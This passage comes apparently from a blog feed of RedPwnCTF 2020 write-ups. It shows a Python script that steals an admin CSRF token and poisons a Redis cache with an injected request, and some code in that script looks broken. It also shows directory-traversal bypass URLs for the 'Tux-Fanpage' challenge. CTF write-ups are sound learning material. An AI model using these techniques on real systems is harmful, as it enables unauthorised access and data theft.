</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">exists</span>(<span style="color:#a6e22e">ip_address</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">reply</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">reply</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">incr</span>(<span style="color:#a6e22e">ip_address</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">reply</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Something went wrong&#34;</span>);
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">200</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Success! &#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">ip_address</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34; has visited the site &#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">reply</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34; times.&#34;</span>);
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">set</span>(<span style="color:#a6e22e">ip_address</span>, <span style="color:#ae81ff">1</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">reply</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Something went wrong&#34;</span>);
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">200</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Success! &#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">ip_address</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34; has visited the site 1 time.&#34;</span>);
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span> });
</span></span></code></pre></div><p>The endpoint logs the amount of times the webpage&rsquo;s visitor&rsquo;s <code>ip_address</code> checked the page into the redis cache. Specifically, it sets the key of the data as our input to the <code>ip_address</code> param. We already know of an existing key and entry in the cache, the key to the admin&rsquo;s CSRF token (<code>'__csrftoken__admin_account'</code>). If we provided this as our input to the <code>ip_address</code> param, we should get the CSRF token (incremented by 1) in return.</p>
<p>At this point, it&rsquo;s pretty obvious that our attack will have to do some cache-poisoning. I have only ever done one other challenge that involved cache poisoning so I certainly don&rsquo;t have much experience-based knowledge on it - so I had to do some research into how cache-poisoning attacks work.</p>
<p>Altogether, the attack plan is as follows:</p>
<ol>
<li>Grab the CSRF token through <code>/analytics</code>.</li>
<li>Create our viper page, but inject our own headers into it so that it will lead to the <code>admin/create</code> endpoint that will give us the flag.</li>
<li>Cache our viper page with the injected headers, and then send the URL of our page to the admin.</li>
<li>When the admin visits our page, the cached request that we injected with our headers will fire, and will change the name of the viper to that of the flag.</li>
</ol>
<h3 id="step-1-grab-the-csrf-token">Step 1: Grab the CSRF token.</h3>
<p>As mentioned before, we can use the <code>/analytics</code> endpoint to grab the CSRF token utilizing <code>'__csrftoken__admin_account'</code> as our <code>ip_address</code> value - using it as the key, we should recieve the token as return value. A simple GET request to the endpoint with the <code>ip_address</code> value set to <code>__csrftoken__admin_account</code> will allows us to retrieve the token.</p>
<pre tabindex="0"><code>curl http://2020.redpwnc.tf:31291/analytics?ip_address=__csrftoken__admin_account
</code></pre>
    <img src="/images/REDPWN2020_ViperCSRF.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>We will use these commands in a script later on.</p>
<h3 id="step-2-create-a-user-and-our-own-viper-page-and-then-inject-custom-headers-into-it">Step 2: Create a user and our own viper page, and then inject custom headers into it.</h3>
<p>After we create the page, we need to take note of the sessionid, cookies, and viperID for the URL that we send to the admin. When we inject the header, the request URL should be a GET request to <code>admin/create</code>.</p>
<h3 id="step-3-cache-the-viper-page-we-created">Step 3: Cache the viper page we created.</h3>
<p>Simply make a GET request for our page so it will be put into the redis cache. Note that the server will only accept requests encoded in base64, so we must make sure our payload is properly encoded before doing so.</p>
<h3 id="step-4-send-our-viper-url-to-the-admin">Step 4: Send our viper URL to the admin!</h3>
<p>Sending the page URL to the admin will hopefully activate the cache to retrieve the instance of our page with the injected payload into it. When they visit, the payload header will fire a request to the <code>/admin/create</code> endpoint and validate the requester as admin through our use of CSRF token-stealing - thereby allowing the server to rewrite our viper name to that of whatever is in the <code>flag.txt</code> file in their server. Once we access our page once more, the name should change to the flag!</p>
<p>Here is my script for this challenge:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests<span style="color:#f92672">,</span> socket<span style="color:#f92672">,</span> re
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> urllib.parse <span style="color:#f92672">import</span> quote
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> base64 <span style="color:#f92672">import</span> b64encode
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>address <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://2020.redpwnc.tf:31291&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ADMIN_VIPER <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;CAFECAFE-CAFE-4CAF-8CAF-CAFECAFECAFE&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>viper <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(address<span style="color:#f92672">+</span><span style="color:#e6db74">&#39;/create&#39;</span>, allow_redirects<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Get the viper&#39;s name/viper&#39;s id, which is UUID format</span>
</span></span><span style="display:flex;"><span>viper_id <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>findall(<span style="color:#e6db74">&#34;([a-fA-F0-9]</span><span style="color:#e6db74">{8}</span><span style="color:#e6db74">-[a-fA-F0-9]</span><span style="color:#e6db74">{4}</span><span style="color:#e6db74">-[a-fA-F0-9]</span><span style="color:#e6db74">{4}</span><span style="color:#e6db74">-[a-fA-F0-9]</span><span style="color:#e6db74">{4}</span><span style="color:#e6db74">-[a-fA-F0-9]</span><span style="color:#e6db74">{12}</span><span style="color:#e6db74">)&#34;</span>, viper<span style="color:#f92672">.</span>text)[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>session_id <span style="color:#f92672">=</span> viper<span style="color:#f92672">.</span>cookies[<span style="color:#e6db74">&#34;connect.sid&#34;</span>]
</span></span><span style="display:flex;"><span>cookies <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;connect.sid&#34;</span> : session_id}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>viper <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(address<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;/analytics?ip_address=__csrftoken__admin_account&#34;</span>)
</span></span><span style="display:flex;"><span>print(viper<span style="color:#f92672">.</span>text)
</span></span><span style="display:flex;"><span>viper_page <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(address<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;/analytics?ip_address=__csrftoken__admin_account&#34;</span>)
</span></span><span style="display:flex;"><span>csrf_token <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>findall(<span style="color:#e6db74">&#34;site (\*d) times.&#34;</span>, viper_page<span style="color:#f92672">.</span>text)
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Encode in base64</span>
</span></span><span style="display:flex;"><span>csrf_token <span style="color:#f92672">=</span> b64encode(csrf_token)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#34;GET /viper/&#34;</span><span style="color:#f92672">+</span>viper_id<span style="color:#f92672">+</span><span style="color:#e6db74">&#34; HTTP/1.1</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">Host: 2020.redpwnc.tf:31291</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">admin</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">create?x=&lt;!--&amp;viperId=&#34;</span><span style="color:#f92672">+</span>ADMIN_VIPER<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;&amp;csrfToken=&#34;</span><span style="color:#f92672">+</span>csrf<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;#--&gt;</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">Accept: */*</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">Cookie: connect.sid=&#34;</span><span style="color:#f92672">+</span>session_id<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\r\n\r\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>poison <span style="color:#f92672">=</span> socket<span style="color:#f92672">.</span>socket()
</span></span><span style="display:flex;"><span>poison<span style="color:#f92672">.</span>connect((<span style="color:#e6db74">&#34;2020.redpwnc.tf&#34;</span>, <span style="color:#ae81ff">31291</span>))
</span></span><span style="display:flex;"><span>poison<span style="color:#f92672">.</span>sendall(payload<span style="color:#f92672">.</span>encode())
</span></span><span style="display:flex;"><span>poison<span style="color:#f92672">.</span>close()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>viper <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;http://2020.redpwnc.tf:31291/viper/&#34;</span><span style="color:#f92672">+</span>viper_id, cookies<span style="color:#f92672">=</span>cookies)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;URL to admin:&#34;</span>)
</span></span><span style="display:flex;"><span>print(address<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;/viper/&#34;</span><span style="color:#f92672">+</span>viper_id)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>input(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74"> fetching... </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74"> press ENTER to load cached page, once the admin has visited the URL.&#34;</span>)
</span></span><span style="display:flex;"><span>viper <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;http://2020.redpwnc.tf:31291/viper/&#34;</span><span style="color:#f92672">+</span>ADMIN_VIPER, cookies<span style="color:#f92672">=</span>cookies)
</span></span><span style="display:flex;"><span>print(viper<span style="color:#f92672">.</span>text)
</span></span></code></pre></div>
    <img src="/images/REDPWN2020_ViperFlag.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Jam</p>
]]></content>
        </item>
        
        <item>
            <title>RedPwnCTF 2020, part 2</title>
            <link>https://jamvie.net/posts/2020/06/redpwnctf-2020-part-2/</link>
            <pubDate>Sun, 28 Jun 2020 21:19:19 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/06/redpwnctf-2020-part-2/</guid>
            <description>Part 2 of my writeup series for RedPwnCTF 2020!
Let&amp;rsquo;s Begin! Tux-Fanpage points: 464 Ignoring the 1990&amp;rsquo;s aesthetic of the page, observe the provided script:
const express = require(&amp;#39;express&amp;#39;) const path = require(&amp;#39;path&amp;#39;) const app = express() //Don&amp;#39;t forget to redact from published source const flag = &amp;#39;[REDACTED]&amp;#39; app.get(&amp;#39;/&amp;#39;, (req, res) =&amp;gt; { res.redirect(&amp;#39;/page?path=index.html&amp;#39;) }) app.get(&amp;#39;/page&amp;#39;, (req, res) =&amp;gt; { let path = req.query.path //Handle queryless request if(!path || !strip(path)){ res.</description>
            <content type="html"><![CDATA[<p>Part 2 of my writeup series for RedPwnCTF 2020!</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<h3 id="tux-fanpage">Tux-Fanpage</h3>
<ul>
<li>points: 464</li>
</ul>
<p>Ignoring the 1990&rsquo;s aesthetic of the page, observe the provided script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;path&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//Don&#39;t forget to redact from published source
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">flag</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;[REDACTED]&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/page?path=index.html&#39;</span>)
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/page&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">path</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//Handle queryless request
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">path</span> <span style="color:#f92672">||</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">strip</span>(<span style="color:#a6e22e">path</span>)){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/page?path=index.html&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">strip</span>(<span style="color:#a6e22e">path</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">preventTraversal</span>(<span style="color:#a6e22e">path</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">sendFile</span>(<span style="color:#a6e22e">prepare</span>(<span style="color:#a6e22e">path</span>), (<span style="color:#a6e22e">err</span>) =&gt; {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">headersSent</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">strip</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">path</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39; not found&#39;</span>)
</span></span><span style="display:flex;"><span>                } <span style="color:#66d9ef">catch</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>()
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//Prevent directory traversal attack
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">preventTraversal</span>(<span style="color:#a6e22e">dir</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;../&#39;</span>)){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">&#39;../&#39;</span>, <span style="color:#e6db74">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">preventTraversal</span>(<span style="color:#a6e22e">res</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//In case people want to test locally on windows
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;..\\&#39;</span>)){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">&#39;..\\&#39;</span>, <span style="color:#e6db74">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">preventTraversal</span>(<span style="color:#a6e22e">res</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">dir</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//Get absolute path from relative path
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">prepare</span>(<span style="color:#a6e22e">dir</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">resolve</span>(<span style="color:#e6db74">&#39;./public/&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">dir</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//Strip leading characters
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">strip</span>(<span style="color:#a6e22e">dir</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">regex</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/^[a-z0-9]$/im</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//Remove first character if not alphanumeric
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">regex</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">dir</span>[<span style="color:#ae81ff">0</span>])){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">strip</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">slice</span>(<span style="color:#ae81ff">1</span>))
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">dir</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#ae81ff">3000</span>, () =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">&#39;listening on 0.0.0.0:3000&#39;</span>)
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>From this, the functions <code>Strip()</code> and <code>preventTraversal()</code> are important:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">//Prevent directory traversal attack
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">preventTraversal</span>(<span style="color:#a6e22e">dir</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;../&#39;</span>)){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">&#39;../&#39;</span>, <span style="color:#e6db74">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">preventTraversal</span>(<span style="color:#a6e22e">res</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//In case people want to test locally on windows
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;..\\&#39;</span>)){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">&#39;..\\&#39;</span>, <span style="color:#e6db74">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">preventTraversal</span>(<span style="color:#a6e22e">res</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">dir</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//Strip leading characters
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">strip</span>(<span style="color:#a6e22e">dir</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">regex</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/^[a-z0-9]$/im</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//Remove first character if not alphanumeric
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">regex</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">dir</span>[<span style="color:#ae81ff">0</span>])){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">strip</span>(<span style="color:#a6e22e">dir</span>.<span style="color:#a6e22e">slice</span>(<span style="color:#ae81ff">1</span>))
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">dir</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This gives away the attack for this challenge: a directory traversal attack. We would try to force access into folders/directories typically inaccessible from the webpage&rsquo;s root folder. Specifically, the provided script were given hints us to try and traverse our way onto the server&rsquo;s version of <code>index.js</code>, which likely has the flag that isn&rsquo;t redacted (&ldquo;Dont forget to redact from published source&rdquo;). We want to use a URL like</p>
<pre tabindex="0"><code>https://tux-fanpage.2020.redpwnc.tf/page?path=../
</code></pre><p>Individually, the above functions can be bypassed:</p>
<ul>
<li>for <code>strip()</code>, it simply checks if the first character of the argument is alphanumeric, and removes that char if it isn&rsquo;t. In the get request to <code>/page</code>, it calls <code>strip()</code> first. Therefore, we can bypass that check if our URL
looks like</li>
</ul>
<pre tabindex="0"><code>https://tux-fanpage.2020.redpwnc.tf/page?path=j&amp;path=../
</code></pre><ul>
<li>for <code>preventTraversal()</code>, the function will recursively check for and remove any instance of <code>../</code> in our input. However, the input in this case, dir, is set as an array. Using the <code>includes()</code> function on an array will return true only if an element of that array exactly matches whatever <code>includes()</code> is comparing it too. So, the function will allow <code>../blah</code> to pass through, as it doesn&rsquo;t exactly match <code>../</code>. We can bypass this check if our url looks like</li>
</ul>
<pre tabindex="0"><code>https://tux-fanpage.2020.redpwnc.tf/page?path=j&amp;path=../blah
</code></pre><p>It was mentioned in my <a href="/post/05de1ctf2020_01/">DE1CTF writeup</a> of &ldquo;Hard_Pentest_1&rdquo; that javascript shares PHP&rsquo;s ability to combine arrays (of certain types) and strings together. To this end, consider the following example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">myStr</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hello&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">array</span> <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34; &#34;</span>, <span style="color:#e6db74">&#34;World&#34;</span>, <span style="color:#e6db74">&#34;!&#34;</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">myStr</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">array</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">print</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>
